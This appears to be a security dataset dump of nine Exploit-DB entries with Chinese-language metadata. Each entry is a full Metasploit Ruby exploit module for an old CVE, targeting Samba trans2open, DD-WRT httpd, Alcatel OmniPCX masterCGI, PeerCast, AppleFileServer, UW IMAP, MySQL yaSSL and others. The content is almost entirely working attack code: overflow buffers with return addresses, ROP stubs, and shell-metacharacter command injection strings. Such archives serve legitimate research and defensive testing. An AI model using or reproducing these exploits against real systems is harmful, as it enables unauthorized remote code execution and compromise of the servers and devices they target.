QLWD/code_shield huggingface dataset:
标题: Samba 2.2.8 (OSX/PPC) - 'trans2open' Remote Overflow (Metasploit) EDB-ID: 16876 CVE: 2003-0201 类型: REMOTE 平台: OSX_PPC 发布日期: 2010-06-21 漏洞利用脚本: ##
# $Id: trans2open.rb 9571 2010-06-21 16:53:52Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::SMB
 include Msf::Exploit::Brute

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Samba trans2open Overflow (Mac OS X PPC)',
   'Description'    => %q{
     This exploits the buffer overflow found in Samba versions
    2.2.0 to 2.2.8. This particular module is capable of
    exploiting the bug on Mac OS X PowerPC systems.
   },
   'Author'         => [ 'hdm', 'jduck' ],
   'Version'        => '$Revision: 9571 $',
   'References'     =>
    [
     [ 'CVE', '2003-0201' ],
     [ 'OSVDB', '4469' ],
     [ 'BID', '7294' ],
     [ 'URL', 'http://seclists.org/bugtraq/2003/Apr/103' ]
    ],
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 1024,
     'BadChars' => "\x00",
     'MinNops'  => 512,
    },
   'Platform'       => 'osx',
   'Arch'           => ARCH_PPC,
   'Targets'        =>
    [
     [ 'Samba 2.2.x - Bruteforce',
      {
       # Not necessary on PPC
       # 'PtrToNonZero' => 0xbffffff4, # near the bottom of the stack
       'Offset'       => 1195,
       'Bruteforce'   =>
        {
         'Start' => { 'Ret' => 0xbffffdfc },
         'Stop'  => { 'Ret' => 0xbfa00000 },
         'Step'  => 512
        }
      }
     ]
    ],
   'DisclosureDate' => 'Apr 7 2003',
   'DefaultTarget' => 0))

  register_options(
   [
    Opt::RPORT(139)
   ], self.class)
 end

 # Need to perform target detection
 def autofilter
  false
 end

 def brute_exploit(addrs)

  curr_ret = addrs['Ret']
  begin
   print_status("Trying return address 0x%.8x..." %  curr_ret)

   connect
   smb_login

   # 1988 is required for findrecv shellcode
   pattern = rand_text_english(1988)

   # This stream covers the framepointer and the return address
   off = target['Offset']
   pattern[off, 64] = [curr_ret].pack('N') * 16

   # Stuff the shellcode into the request
   pattern[3, payload.encoded.length] = payload.encoded

   trans =
    "\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00"+
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"+
    "\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00"+
    "\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01"+
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90"+
    pattern

   sock.put(trans)
   handler
   disconnect

  rescue EOFError
  rescue => e
   print_error("#{e}")
  end

 end

end URL: https://www.exploit-db.com/exploits/16876
标题: UFO: Alien Invasion IRC Client (OSX) - Remote Buffer Overflow (Metasploit) EDB-ID: 16864 CVE: 2010-2309 类型: REMOTE 平台: OSX 发布日期: 2010-10-09 漏洞利用脚本: ##
# $Id: ufo_ai.rb 10617 2010-10-09 06:55:52Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::TcpServer

 def initialize(info = {})
  super(update_info(info,
   'Name' => 'UFO: Alien Invasion IRC Client Buffer Overflow Exploit',
   'Description'    => %q{
     This module exploits a buffer overflow in the IRC client component
    of UFO: Alien Invasion 2.2.1.
   },
   'Author'   =>
    [
     'Jason Geffner',  # Original Windows PoC Author
     'dookie'          # OSX Exploit Author
    ],
   'License'  => MSF_LICENSE,
   'Version'  => '$Revision: 10617 $',
   'References' =>
    [
     [ 'CVE', '2010-2309' ],
     [ 'OSVDB', '65689' ],
     [ 'URL', 'http://www.exploit-db.com/exploits/14013' ]
    ],
   'Payload' =>
    {
     'Space' => 400,
     'BadChars' => "\x00\x0a\x0d",
     'MaxNops' => 0,
     'StackAdjustment' => -3500,
    },
   'Platform' => 'osx',
   'Targets' =>
    [
     [ 'Mac OS X 10.5.8 x86, UFOAI 2.2.1',
      {
       'Arch' => ARCH_X86,
       'Offset' => 524,
       'Writable' => 0x8fe66448,  # dyld __IMPORT
       # The rest of these addresses are in dyld __TEXT
       'setjmp' => 0x8fe1cf38,
       'strdup' => 0x8fe210dc,
       'jmp_eax' => 0x8fe01041
      }
     ]
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Oct 28 2009'))

  register_options(
   [
    OptPort.new('SRVPORT', [ true, "The IRC daemon port to listen on", 6667 ]),
   ], self.class)
 end


 def make_exec_payload_from_heap_stub()
  frag0 =
   "\x90" + # nop
   "\x58" + # pop eax
   "\x61" + # popa
   "\xc3"   # ret

  frag1 =
   "\x90" +             # nop
   "\x58" +             # pop eax
   "\x89\xe0" +         # mov eax, esp
   "\x83\xc0\x0c" +     # add eax, byte +0xc
   "\x89\x44\x24\x08" + # mov [esp+0x8], eax
   "\xc3"               # ret

  setjmp = target['setjmp']
  writable = target['Writable']
  strdup = target['strdup']
  jmp_eax = target['jmp_eax']

  exec_payload_from_heap_stub =
   frag0 +
   [setjmp].pack('V') +
   [writable + 32, writable].pack("V2") +
   frag1 +
   "X" * 20 +
   [setjmp].pack('V') +
   [writable + 24, writable, strdup, jmp_eax].pack("V4") +
   "X" * 4
 end


 def on_client_connect(client)

  print_status("Got client connection...")

  offset = target['Offset']

  buffer = "001 :"
  buffer << rand_text_alpha_upper(offset)
  buffer << make_exec_payload_from_heap_stub()
  buffer << make_nops(16)
  buffer << payload.encoded
  buffer << "\x0d\x0a"

  print_status("Sending exploit to #{client.peerhost}:#{client.peerport}...")
  client.put(buffer)

 end

end URL: https://www.exploit-db.com/exploits/16864
标题: DD-WRT HTTPd Daemon/Service - Arbitrary Command Execution (Metasploit) EDB-ID: 16856 CVE: 2009-2765 类型: WEBAPPS 平台: CGI 发布日期: 2010-07-07 漏洞利用脚本: ##
# $Id: ddwrt_cgibin_exec.rb 9719 2010-07-07 17:38:59Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 HttpFingerprint = { :pattern => [ /DD-WRT/ ] }

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'DD-WRT HTTP Daemon Arbitrary Command Execution',
   'Description'    => %q{
     This module abuses a metacharacter injection vulnerability in the
    HTTP management server of wireless gateways running DD-WRT. This flaw
    allows an unauthenticated attacker to execute arbitrary commands as
    the root user account.
   },
   'Author'         => [ 'gat3way', 'hdm' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9719 $',
   'References'     =>
    [
     [ 'CVE', '2009-2765' ],
     [ 'OSVDB', '55990' ],
     [ 'BID', '35742' ],
     [ 'URL', 'http://www.milw0rm.com/exploits/9209' ]
    ],
   'Platform'       => ['unix'],
   'Arch'           => ARCH_CMD,
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'       => 1024,
     'DisableNops' => true,
     'Compat'      =>
      {
       'RequiredCmd' => 'generic netcat-e'
      }
    },
   'Targets'        =>
    [
     [ 'Automatic Target', { }]
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Jul 20 2009'
   ))
 end

 def exploit

  cmd = payload.encoded.unpack("C*").map{|c| "\\x%.2x" % c}.join
  # TODO: force use of echo-ne CMD encoder
  str = "echo${IFS}-ne${IFS}\"#{cmd}\"|/bin/sh&"

  print_status("Sending GET request with encoded command line...")
  send_request_raw({ 'uri' => "/cgi-bin/;#{str}" })

  print_status("Giving the handler time to run...")
  handler

  select(nil, nil, nil, 10.0)
 end

end URL: https://www.exploit-db.com/exploits/16856
标题: Knox Arkeia Backup Client Type 77 (OSX) - Remote Overflow (Metasploit) EDB-ID: 16865 CVE: 2005-0491 类型: REMOTE 平台: OSX 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: type77.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Arkeia

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Arkeia Backup Client Type 77 Overflow (Mac OS X)',
   'Description'    => %q{
     This module exploits a stack buffer overflow in the Arkeia backup
    client for the Mac OS X platform. This vulnerability affects
    all versions up to and including 5.3.3 and has been tested
    with Arkeia 5.3.1 on Mac OS X 10.3.5.
   },
   'Author'         => [ 'hdm' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2005-0491'],
     [ 'OSVDB', '14011'],
     [ 'BID', '12594'],
     [ 'URL', 'http://lists.netsys.com/pipermail/full-disclosure/2005-February/031831.html'],
    ],
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 1000,
     'BadChars' => "\x00",
     'MinNops'  => 700,
     'Compat'   =>
     {
      'ConnectionType' => '-find',
     },
    },
   'Targets'        =>
    [
     [
      'Arkeia 5.3.1 Stack Return (boot)',
      {
       'Platform' => 'osx',
       'Arch'     => ARCH_PPC,
       'Ret'      => 0xbffff910,
      },
     ],
    ],
   'DisclosureDate' => 'Feb 18 2005',
   'DefaultTarget' => 0))
 end

 def check
  info = arkeia_info()
  if !(info and info['Version'])
   return Exploit::CheckCode::Safe
  end

  print_status("Arkeia Server Information:")
  info.each_pair { |k,v|
   print_status("   #{k + (" " * (30-k.length))} = #{v}")
  }

  if (info['System'] !~ /Darwin/)
   print_status("This module only supports Mac OS X targets")
   return Exploit::CheckCode::Detected
  end

  if (info['Version'] =~ /Backup (4\.|5\.([012]\.|3\.[0123]$))/)
   return Exploit::CheckCode::Vulnerable
  end

  return Exploit::CheckCode::Safe
 end

 def exploit
  connect

  # Request has to be big enough to find and small enough
  # not to write off the end of the stack. If we write too
  # far down, we also smash env[], which causes a crash in
  # getenv() before our function returns.

  head = "\x00\x4d\x00\x03\x00\x01\xff\xff"
  head[6, 2] = [1200].pack('n')

  buf = rand_text_english(1200, payload_badchars)

  # Return back to the stack either directly or via system lib
  buf[0, 112] = [target.ret].pack('N') * (112/4)

  # Huge nop slep followed by the payload
  buf[112, payload.encoded.length] = payload.encoded

  print_status("Sending request...")
  begin
   sock.put(head)
   sock.put(buf)
   sock.get_once
  rescue IOError, EOFError => e
   print_status("Exception: #{e.class}:#{e}")
  end
  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16865
标题: Alcatel-Lucent OmniPCX Enterprise - masterCGI Arbitrary Command Execution (Metasploit) EDB-ID: 16857 CVE: 2007-3010 类型: WEBAPPS 平台: CGI 发布日期: 2010-10-05 漏洞利用脚本: ##
# $Id: alcatel_omnipcx_mastercgi_exec.rb 10556 2010-10-05 23:13:04Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ManualRanking # Only interactive single commands supported

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Alcatel-Lucent OmniPCX Enterprise masterCGI Arbitrary Command Execution',
   'Description'    => %q{
     This module abuses a metacharacter injection vulnerability in the
    HTTP management interface of the Alcatel-Lucent OmniPCX Enterprise
    Communication Server 7.1 and earlier. The Unified Maintenance Tool
    contains a 'masterCGI' binary which allows an unauthenticated attacker
    to execute arbitrary commands by specifing shell metacharaters as the
    'user' within the 'ping' action to obtain 'httpd' user access. This
    module only supports command line payloads, as the httpd process kills
    the reverse/bind shell spawn after the HTTP 200 OK response.
   },
   'Author'         => [ 'patrick' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 10556 $',
   'References'     =>
    [
     [ 'OSVDB', '40521' ],
     [ 'BID', '25694' ],
     [ 'CVE', '2007-3010' ],
     [ 'URL', 'http://www1.alcatel-lucent.com/psirt/statements/2007002/OXEUMT.htm' ],
    ],
   'Platform'       => ['unix'],
   'Arch'           => ARCH_CMD,
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'       => 1024,
     'DisableNops' => true,
     'Compat'      =>
      {
       'PayloadType' => 'cmd',
       'RequiredCmd' => 'generic'
      }
    },
   'Targets'        =>
    [
     [ 'Automatic Target', { }]
    ],
   'DefaultTarget' => 0,
   'DisclosureDate' => 'Sep 09 2007'))

  register_options(
   [
    Opt::RPORT(443),
    OptBool.new('SSL', [true, 'Use SSL', true]),
   ], self.class)
 end

 def exploit
  connect

  cmd = payload.encoded.gsub(" ", '${IFS}')
  req =
   "GET /cgi-bin/masterCGI?ping=nomip&user=;#{cmd}; HTTP/1.1\r\n" +
   "Host: #{rhost}\r\n\r\n"

  print_status("Sending GET request with command line payload...")
  sock.put(req)

  res = sock.get(3,3)

  if (res =~ /<h5>(.*)<\/h5>/smi)
   out = $1
   print_line(out.gsub(/<h5>|<\/h5>/, ''))
   return
  end

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16857
标题: PeerCast 0.1216 (Linux) - URL Handling Buffer Overflow (Metasploit) EDB-ID: 16855 CVE: 2006-1148 类型: REMOTE 平台: LINUX 发布日期: 2010-09-20 漏洞利用脚本: ##
# $Id: peercast_url.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'PeerCast <= 0.1216 URL Handling Buffer Overflow (linux)',
   'Description'    => %q{
     This module exploits a stack buffer overflow in PeerCast <= v0.1216.
    The vulnerability is caused due to a boundary error within the
    handling of URL parameters.
   },
   'Author'         => [ 'MC' ],
   'License'        => BSD_LICENSE,
   'Version'        => '$Revision: 10394 $',
   'References'     =>
    [
     ['CVE', '2006-1148'],
     ['OSVDB', '23777'],
     ['BID', '17040'],
     ['URL', 'http://www.infigo.hr/in_focus/INFIGO-2006-03-01'],

    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'    => 200,
     'BadChars' => "\x00\x0a\x0d\x20\x0d\x2f\x3d\x3b",
     'MinNops'  => 64,
    },
   'Platform'       => 'linux',
   'Arch'           => ARCH_X86,
   'Targets'        =>
    [
     ['PeerCast v0.1212 Binary', { 'Ret' => 0x080922f7 }],
    ],
   'DisclosureDate' => 'Mar 8 2006'))

  register_options([
   Opt::RPORT(7144)
  ], self.class)
 end

 def exploit
  connect

  pat = rand_text_alphanumeric(780)
  pat << [target.ret].pack('V')
  pat << payload.encoded

  uri = '/stream/?' + pat

  res = "GET #{uri} HTTP/1.0\r\n\r\n"

  print_status("Trying target address 0x%.8x..." % target.ret)
  sock.put(res)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16855
标题: AppleFileServer (OSX) - LoginExt PathName Overflow (Metasploit) EDB-ID: 16863 CVE: 2004-0430 类型: REMOTE 平台: OSX 发布日期: 2010-09-20 漏洞利用脚本: ##
# $Id: loginext.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'AppleFileServer LoginExt PathName Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in the AppleFileServer service
    on MacOS X. This vulnerability was originally reported by Atstake and
    was actually one of the few useful advisories ever published by that
    company. You only have one chance to exploit this bug.
    This particular exploit uses a stack-based return address that will
    only work under optimal conditions.
   },
   'Author'         => 'hdm',
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 10394 $',
   'References'     =>
    [
     [ 'CVE', '2004-0430'],
     [ 'OSVDB', '5762'],
     [ 'BID', '10271'],
    ],
   'Payload'        =>
    {
     'Space'    => 512,
     'BadChars' => "\x00\x20",
     'MinNops'  => 128,
     'Compat'   =>
      {
       'ConnectionType' => "+find"
      }
    },
   'Targets'        =>
    [
     # Target 0
     [
      'Mac OS X 10.3.3',
      {
       'Platform' => 'osx',
       'Arch'     => ARCH_PPC,
       'Ret'      => 0xf0101c0c # stack address :<
      },
     ],
    ],
   'DisclosureDate' => 'May 3 2004'))

  # Configure the default port to be AFP
  register_options(
   [
    Opt::RPORT(548),
   ], self.class)
 end

 def exploit
  connect

  print_status("Trying target #{target.name}...")

  path          = "\xff" * 1024
  path[168, 4]  = Rex::Arch.pack_addr(target.arch, target.ret)
  path[172, payload.encoded.length] = payload.encoded

  # The AFP header
  afp = "\x3f\x00\x00\x00"

  # Add the authentication methods
  ["AFP3.1", "Cleartxt Passwrd"].each { |m|
   afp << [m.length].pack('C') + m
  }

  # Add the user type and afp path
  afp << "\x03" + [9].pack('n') + rand_text_alphanumeric(9)
  afp << "\x03" + [path.length].pack('n') + path

  # Add the data stream interface header
  dsi =
  [
   0,           # Flags
   2,           # Command
   rand(65536), # XID
   0,           # Data Offset
   afp.length,  # Data Length
   0            # Reserved
  ].pack("CCnNNN") + afp

  sock.put(dsi)

  handler

  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16863
标题: UoW IMAPd Server - LSUB Buffer Overflow (Metasploit) EDB-ID: 16846 CVE: 2000-0284 类型: REMOTE 平台: LINUX 发布日期: 2010-03-26 漏洞利用脚本: ##
# $Id: imap_uw_lsub.rb 8932 2010-03-26 19:00:23Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Brute
 include Msf::Exploit::Remote::Imap

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'UoW IMAP server LSUB Buffer Overflow',
   'Description'    => %q{
     This module exploits a buffer overflow in the 'LSUB'
    command of the University of Washington IMAP service.
    This vulnerability can only be exploited with a valid username
    and password.
   },
   'Author'         => [ 'patrick', 'jduck' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 8932 $',
   'References'     =>
    [
     [ 'CVE', '2000-0284' ],
     [ 'OSVDB', '12037' ],
     [ 'BID', '1110' ],
     [ 'URL', 'http://www.milw0rm.com/exploits/284' ],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'    => 964,
     'BadChars' => "\x00\x0a\x0d\x2f",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'linux',
   'Targets'        =>
    [
     # ['RedHat 6.2 - IMAP4rev1 v12.264', { 'Ret' => 0xbffff310 }],
     [ 'Linux Bruteforce',
      {
       'Platform'   => 'linux',
       'Offset'     => 1064,
       'Bruteforce' =>
        {
         'Start' => { 'Ret' => 0xbffffdfc },
         'Stop'  => { 'Ret' => 0xbfa00000 },
         'Step'  => 200
        }
      },
     ]
    ],
   'DisclosureDate' => 'Apr 16 2000',
   'DefaultTarget' => 0))
 end

 def check
  connect
  disconnect

  if (banner =~ /IMAP4rev1 v12.264/)
   return Exploit::CheckCode::Vulnerable
  end
  return Exploit::CheckCode::Safe

 end

 def brute_exploit(addresses)
  print_status("Trying 0x%.8x ..." % addresses['Ret'])

  if (not connect_login)
   raise RuntimeError, "Unable to log in!"
  end

  req = "a002 LSUB \"\" {%d}\r\n" % target['Offset']
  sock.put(req)
  buf = sock.get_once

  sploit = payload.encoded + rand_text_alphanumeric(64) + [addresses['Ret']].pack('V') + rand_text_alphanumeric(32) + "\r\n"
  sock.put(sploit)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16846
标题: MySQL yaSSL (Linux) - SSL Hello Message Buffer Overflow (Metasploit) EDB-ID: 16849 CVE: 2008-0226 类型: REMOTE 平台: LINUX 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: mysql_yassl_hello.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'MySQL yaSSL SSL Hello Message Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in the yaSSL (1.7.5 and earlier)
    implementation bundled with MySQL <= 6.0. By sending a specially crafted
    Hello packet, an attacker may be able to execute arbitrary code.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2008-0226' ],
     [ 'OSVDB', '41195' ],
     [ 'BID', '27140' ],

    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'    => 100,
     'BadChars' => "\x00\x20\x0a\x0d\x2f\x2b\x0b\x5c",
    },
   'Platform'       => 'linux',
   'Targets'        =>
    [
     [ 'MySQL 5.0.45-Debian_1ubuntu3.1-log', { 'Ret' => 0x085967fb } ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Jan 4 2008'))

  register_options(
   [
    Opt::RPORT(3306)
   ], self.class)
 end

 def exploit
  connect

  sock.get_once

  req_uno =  [0x01000020].pack('V')

  req_dos =  [0x00008daa].pack('V') + [0x40000000].pack('V')
  req_dos << [0x00000008].pack('V') + [0x00000000].pack('V')
  req_dos << [0x00000000].pack('V') + [0x00000000].pack('V')
  req_dos << [0x00000000].pack('V') + [0x00000000].pack('V')
  req_dos << [0x03010000].pack('V') + [0x00000001].pack('V')
  req_dos << "\x00\x0F\xFF" + rand_text_alphanumeric(3965)
  req_dos << [target.ret].pack('V') + payload.encoded
  req_dos << rand_text_alphanumeric(1024)

  print_status("Trying target #{target.name}...")

  sock.put(req_uno)
  sock.put(req_dos)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16849